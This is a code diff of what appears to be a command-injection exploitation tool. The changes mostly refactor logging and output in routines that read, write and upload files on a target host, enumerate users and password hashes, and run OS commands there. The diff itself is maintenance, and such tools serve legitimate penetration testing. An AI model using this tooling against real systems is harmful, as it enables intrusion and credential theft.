print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 6dc0a3a9c6..087b629f8d 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -62,15 +62,15 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u sys.stdout.flush() print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -79,8 +79,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) raise SystemExit() if os.path.isfile(file_to_write): @@ -89,11 +88,10 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] @@ -140,20 +138,15 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = eb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -169,13 +162,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -203,14 +196,12 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 64733ad09b..cff3eb9ab8 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -357,7 +357,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index c10a02e45b..5f39cefc13 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -61,8 +61,9 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -94,8 +95,9 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -157,9 +159,10 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -201,8 +204,9 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ @@ -211,14 +215,16 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: # if settings.VERBOSITY_LEVEL != 0: @@ -228,8 +234,9 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -279,7 +286,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -310,7 +318,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -352,7 +361,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -367,7 +377,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -406,7 +417,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -416,7 +428,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -475,7 +488,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -487,7 +501,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -497,7 +512,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -511,6 +527,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) @@ -526,10 +544,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) else: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 94c3ff40af..7de75b13f1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -57,15 +57,15 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http sys.stdout.write(settings.print_bold_info_msg(info_msg)) print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -74,8 +74,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) raise SystemExit() if os.path.isfile(file_to_write): @@ -84,11 +83,10 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] @@ -134,17 +132,15 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -160,13 +156,13 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -191,18 +187,15 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL != 0: + print(settings.SINGLE_WHITESPACE) if shell: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index acd9d990d1..b867d015f8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -111,56 +111,56 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True + # else: + if menu.options.web_root: + settings.WEB_ROOT = menu.options.web_root else: - if menu.options.web_root: - settings.WEB_ROOT = menu.options.web_root - else: - # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. - if "apache" in settings.SERVER_BANNER.lower(): - if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): - try: - check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == "win": - # Add "/html" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - settings.WEB_ROOT = settings.WEB_ROOT - except IndexError: - pass - # Add "/html" to servers root directory - elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): - settings.WEB_ROOT = settings.WEB_ROOT + "/html" - else: - pass - # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" - elif "nginx" in settings.SERVER_BANNER.lower(): + # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. + if "apache" in settings.SERVER_BANNER.lower(): + if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] >= "1.2.4": + if check_version[0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: - # Add "/www" to servers root directory - settings.WEB_ROOT = settings.WEB_ROOT + "/www" + settings.WEB_ROOT = settings.WEB_ROOT except IndexError: pass - elif "microsoft-iis" in settings.SERVER_BANNER.lower(): - pass + # Add "/html" to servers root directory + elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): + settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - path = _urllib.parse.urlparse(url).path - path_parts = path.split('/') - count = 0 - for part in path_parts: - count = count + 1 - count = count - 1 - last_param = path_parts[count] - EXTRA_DIR = path.replace(last_param, "") - settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == "win": - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") + pass + # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" + elif "nginx" in settings.SERVER_BANNER.lower(): + try: + check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) + if check_version[0] >= "1.2.4": + # Add "/html" to servers root directory + settings.WEB_ROOT = settings.WEB_ROOT + "/html" + else: + # Add "/www" to servers root directory + settings.WEB_ROOT = settings.WEB_ROOT + "/www" + except IndexError: + pass + elif "microsoft-iis" in settings.SERVER_BANNER.lower(): + pass + else: + # Provide custom server's root directory. + custom_web_root(url, timesec, filename, http_request_method, url_time_response) + + path = _urllib.parse.urlparse(url).path + path_parts = path.split('/') + count = 0 + for part in path_parts: + count = count + 1 + count = count - 1 + last_param = path_parts[count] + EXTRA_DIR = path.replace(last_param, "") + settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR + if settings.TARGET_OS == "win": + settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") return tmp_path @@ -571,7 +571,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: @@ -580,7 +580,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() try: # Pseudo-Terminal shell diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index e2ef149453..0307f698a5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -59,8 +59,9 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -93,8 +94,9 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -153,9 +155,10 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -200,8 +203,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: shell = "".join(str(p) for p in shell) @@ -211,14 +215,16 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: if settings.VERBOSITY_LEVEL == 0 and _: @@ -228,8 +234,9 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -281,7 +288,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -309,7 +317,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" 